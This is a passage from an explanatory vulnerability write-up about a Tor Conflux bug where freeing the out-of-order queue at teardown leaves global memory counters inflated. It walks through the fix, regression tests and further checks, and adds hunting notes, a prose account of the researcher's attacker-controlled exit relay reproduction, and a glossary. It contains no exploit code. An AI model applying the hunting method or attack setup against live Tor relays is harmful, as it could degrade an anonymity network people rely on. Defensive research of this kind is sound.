static voidandconflux_free_queued_msg_accounted(conflux_t *cfx, conflux_msg_t *msg)declare a new function, a named block of code that can be called from elsewhere. It takes two inputs: a Conflux setcfxand a messagemsg.voidmeans it returns nothing.size_t cost = conflux_msg_alloc_cost(msg);asks how much memory the message occupies and stores that number incost.if (BUG(total_ooo_q_bytes < cost))checks for an impossible situation: the global counter is smaller than the cost being removed.BUGis a macro that flags a programming error if this happens.total_ooo_q_bytes = 0;handles that impossible case by resetting the counter to zero rather than letting it go negative.elseandtotal_ooo_q_bytes -= cost;handle the normal case: subtract the cost from the global counter.- The next
if/elsepair does exactly the same check and subtraction for the per-set countercfx->ooo_q_alloc_cost. conflux_relay_msg_free(msg);finally frees the message itself, after the books have been updated.
The order matters: update the counters first, then free. That way the counters never describe memory that has already been released.
It is then used from conflux_free_():
SMARTLIST_FOREACH(cfx->ooo_q, conflux_msg_t *, cell,
conflux_free_queued_msg_accounted(cfx, cell));
smartlist_free(cfx->ooo_q);
Line by line:
SMARTLIST_FOREACH(cfx->ooo_q, conflux_msg_t *, cell,starts the same loop over the queue as before.conflux_free_queued_msg_accounted(cfx, cell));calls the new helper for each message instead of freeing it directly, so the counters are corrected every time.smartlist_free(cfx->ooo_q);still frees the list container afterwards.
Regression tests should verify that teardown with a non-empty Conflux OOO queue returns conflux_get_total_bytes_allocation() to zero. A regression test is an automated check that a bug, once fixed, stays fixed: if someone later reintroduces it, the test fails.
The report lists further things worth checking, each with a clear signal of success:
- Other teardown paths that free queued messages: look for any function that frees a queue without calling the matching accounting decrement. A positive result is a counter that stays non-zero after the queue is freed.
- Other global counters fed into
cell_queues_check_size(): check whether any of them can be inflated by a remote peer and left stale after teardown. A positive result is a counter that does not return to its baseline after the peer disconnects. - Repeated attack and teardown cycles: run several rounds and check whether the counter accumulates monotonically. Monotonically here means it only ever goes up, never down. A positive result is a counter that grows across rounds and never drops after teardown.
- OOM path under default
MaxMemInQueues: try to accumulate enough stale accounting to reach the threshold. A positive result iscircuits_handle_oom()being reached, which the report does not demonstrate.
Hunting notes
This kind of bug tends to hide where a resource is freed on one path but accounted for on another: enqueue/dequeue pairs, teardown versus normal drain, and global counters that are read by memory-pressure logic. During recon, look for counters that are incremented and decremented in matched pairs and then check every free path for the matching decrement. Recon means the early exploration phase where you read code and map out how it works before testing anything. The signal is an asymmetry between the normal path and the error or teardown path.
The researcher built a private Chutney network, kept the victim client unmodified, patched only the attacker-controlled exit, forced real teardown by restarting clean exits, and read the counter directly with gdb to show it stayed inflated. The report is explicit about the limit: no OOM was triggered in the run, so the demonstrated impact is the stale counter persisting until restart, with the OOM consequence described as a possibility.
Glossary
- Binary: a compiled program, the file you actually run on a computer.
- Bug: a mistake in software that causes it to behave incorrectly.
- Cell: the fixed-size unit of data that Tor relays pass to each other.
- Chutney: a Tor project tool that builds a private, local Tor network for testing.
- Circuit: one path through the Tor network, made of several relays in sequence.
- Clone: a full local copy of a code repository, made with Git.
- Commit: a saved snapshot of a code project, identified by a long string.
- Conflux: a Tor design that lets a client use more than one path through the network at once.
- Counter: a number kept in memory that goes up and down as things are added and removed.
- Debugger (gdb): a tool that lets you pause a running program and inspect its internal state.
- Dequeue: taking a message out of a queue for processing.
- Diff / patch: a file describing code changes to apply on top of existing code.
- Enqueue: putting a message into a queue.
- Environment variable: a named value a program can read when it starts, often used for configuration.
- Exit relay: the last relay in a Tor circuit, which talks to the destination on the user's behalf.
- Global counter: a counter shared across the whole program rather than tied to one connection.
- Invariant: a rule that should always hold true, such as every addition having a matching subtraction.
- Leg: one of the parallel paths a Conflux client negotiates through the network.
- MaxMemInQueues: Tor's configured limit on how much memory its queues may use before it takes protective action.
- Monotonic: only ever increasing, never decreasing.
- Out-of-order (OOO) queue: a holding area for messages that arrive before earlier messages, kept until they can be put back in sequence.
- Out-of-memory (OOM) recovery: Tor's protective behaviour when memory runs low, which can close circuits.
- Patch: a set of code changes applied to existing code.
- PoC (proof of concept): a small experiment that demonstrates a bug or attack.
- Queue: a waiting area where items are held until they can be processed.
- Regression test: an automated check that a fixed bug stays fixed.
- Relay: a volunteer-run computer that forwards Tor traffic.
- Repository: a project's collection of code and its change history, managed by a tool such as Git.
- Shell script: a file containing a list of commands a computer runs in sequence.
- Smartlist: Tor's own list type, a container that holds items in order.
- Stale: out of date, no longer reflecting reality.
- Teardown: shutting down a whole Conflux set and discarding whatever is left in it.
- Tor: free software and a network that help people use the internet without revealing who they are.
- Virtual environment: a private, self-contained setup for a project's software packages, kept separate from the rest of the system.